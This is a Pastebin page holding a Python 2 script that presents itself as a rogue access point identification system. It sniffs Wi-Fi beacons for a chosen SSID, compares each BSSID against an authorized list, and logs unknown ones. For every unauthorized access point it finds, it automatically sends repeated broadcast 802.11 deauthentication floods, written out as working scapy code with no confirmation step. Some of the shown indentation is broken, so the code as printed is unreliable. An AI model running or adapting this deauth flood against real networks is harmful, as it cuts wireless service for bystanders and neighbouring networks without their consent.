Advertisement
Guest User

WRIS - Wirelss ROUGE Identification System

a guest
May 29th, 2016
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.90 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # Wirelss ROUGE Identification System
  3. #Developed by @hcjuan04 - twitter
  4. # Credits Airoscapy for channel hooper and and most of the packet analisys method
  5. # Also credits to @RaiderSec
  6.  
  7. import sys, os, signal
  8. from multiprocessing import Process
  9. import codecs
  10. import commands
  11. import time
  12. import datetime
  13.  
  14. from scapy.all import *
  15.  
  16. interface='' # monitor interface
  17. aps = {} # dictionary to store unique APs
  18. ssidarg = '' # SSID to adudit
  19. ifile2 = open('autho.txt', 'r') # Authorized APs
  20. autho=ifile2.readlines() # Authorized APs
  21. unautho = {} # unauthorized AP
  22. p= None
  23.  
  24. # process unique sniffed Beacons and ProbeResponses.
  25. def sniffAP(p):
  26.     if ( (p.haslayer(Dot11Beacon) or p.haslayer(Dot11ProbeResp)) and not aps.has_key(p[Dot11].addr3)):
  27.         ssid       = p[Dot11Elt].info
  28.         bssid      = p[Dot11].addr3    
  29.         channel    = int( ord(p[Dot11Elt:3].info))
  30.         capability = p.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}\
  31.                {Dot11ProbeResp:%Dot11ProbeResp.cap%}")
  32.         # Check for encrypted networks
  33.         if re.search("privacy", capability): enc = 'Y'
  34.         else: enc  = 'N'
  35.         # Save discovered AP
  36.         aps[p[Dot11].addr3] = enc
  37.         # Compare authorized AP
  38.         if ssid.strip() == ssidarg :
  39.         x=0
  40.         # Serch for unauthorized AP    
  41.         print "CH ENC BSSID             SSID"
  42.         print "%02d  %s  %s %s" % (int(channel), enc, bssid, ssid)
  43.         while x < len(autho) :
  44.             strautho=autho[x]
  45.             if strautho[0:17] == bssid.strip() :
  46.                 print "BSSID: ", bssid, " Authorized"
  47.                 x = len(autho)
  48.             elif x == len(autho)-1 :
  49.                 print "WARNING - Unauthorized BSSID: ", bssid
  50.                 # Saving unauthorized
  51.                 unautho[bssid]=channel
  52.                
  53.                 # Wrinting in the Log fiel
  54.                 try:
  55.                     flog= open("LOG.txt", "a")
  56.                     try:
  57.                         a=str(datetime.datetime.today())
  58.                         #print a
  59.                         flog.write(a + " WARNING - Unauthorized BSSID: "+ bssid +'\n')
  60.                     finally:
  61.                         flog.close()
  62.                         time.sleep(1)
  63.                 except IOError:
  64.                     print "Error appending log file, verify if LOG.txt is present"
  65.                     pass
  66.             x = x + 1
  67.    
  68. # Channel hopper
  69. def channel_hopper():
  70.     while True:
  71.         try:
  72.             channel = random.randrange(1,15)
  73.             os.system("iw dev %s set channel %d" % (interface, channel))
  74.             time.sleep(1)
  75.         except OSError :
  76.             break
  77.  
  78. # Capture interrupt signal and cleanup before exiting
  79. def signal_handler(signal, frame):
  80.     global p   
  81.     p.terminate()
  82.     p.join()
  83.  
  84.     print "\n==========  STATISTICS =========="
  85.     print "Total APs found: %d" % len(aps)
  86.     print "Encrypted APs  : %d" % len([ap for ap in aps if aps[ap] =='Y'])
  87.     print "Unencrypted APs: %d" % len([ap for ap in aps if aps[ap] =='N'])
  88.     #print unautho
  89.     print "\n======================================"
  90.  
  91. # Deauthentication method for Unauthorized APs
  92. def deauth(bssid, client, count):
  93.     pckt = Dot11(subtype=12, addr1=client, addr2=bssid, addr3=bssid) / Dot11Deauth(reason=7)
  94.     cli_to_ap_pckt = None
  95.     if client != 'FF:FF:FF:FF:FF:FF' :
  96.         cli_to_ap_pckt = Dot11(subtype=12, addr1=bssid, addr2=client, addr3=bssid) / Dot11Deauth(reason=7)
  97.     print 'Sending Deauth to ' + client + ' from ' + bssid
  98.     if not count:
  99.         print 'Press CTRL+C to quit'
  100.     while count != 0:
  101.         try:
  102.             for i in range(64):
  103.                 # Send out deauth from the AP
  104.                 send(pckt)
  105.                 if client != 'FF:FF:FF:FF:FF:FF':
  106.                     send(cli_to_ap_pckt)
  107.             count -= 1
  108.         except KeyboardInterrupt:
  109.             break
  110. def main() :
  111.     # Reset global variables
  112.     try :
  113.         while True :
  114.             global aps
  115.             global unautho
  116.             aps = {}
  117.             unautho = {}
  118.            
  119.             # Start the channel hopper
  120.             global p
  121.             p = Process(target = channel_hopper)
  122.             p.start()
  123.             # Capture timer
  124.             signal.signal(signal.SIGALRM, signal_handler)
  125.             signal.alarm(17)
  126.             # Start the sniffer
  127.             global interface
  128.             sniff(iface=interface,prn=sniffAP,timeout=15)
  129.             #print "Sniff finished"
  130.             time.sleep(3) #Wait for Alarm
  131.             ######### TRIGER #########
  132.             global unautho
  133.             global interface
  134.             if unautho != {} :
  135.                 for key in unautho :
  136.                     chan=unautho[key]
  137.                     conf.iface=interface
  138.                     os.system("iw dev %s set channel %d" % (interface, chan))
  139.                     print "set card command: iw dev %s set channel %d" % (interface, chan)
  140.                     deauth(key, 'FF:FF:FF:FF:FF:FF', 50)
  141.                     print "deauthorization attack sent"
  142.     except KeyboardInterrupt:
  143.             print "WRIS terminated"
  144.                        
  145.  
  146.    
  147. if __name__ == "__main__":
  148.     if len(sys.argv) != 3:
  149.         print "Usage %s monitor_interface SSID_to_audit" % sys.argv[0]
  150.         sys.exit(1)
  151.     interface = sys.argv[1]
  152.     ssidarg = sys.argv[2]
  153.     print ssidarg
  154.     # Print the program header
  155.     print ""
  156.     print "======= Wirelss ROUGE Identification System - WRIS ======="
  157.     #==================DEBUG
  158.     #import pdb
  159.     #pdb.set_trace()
  160.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement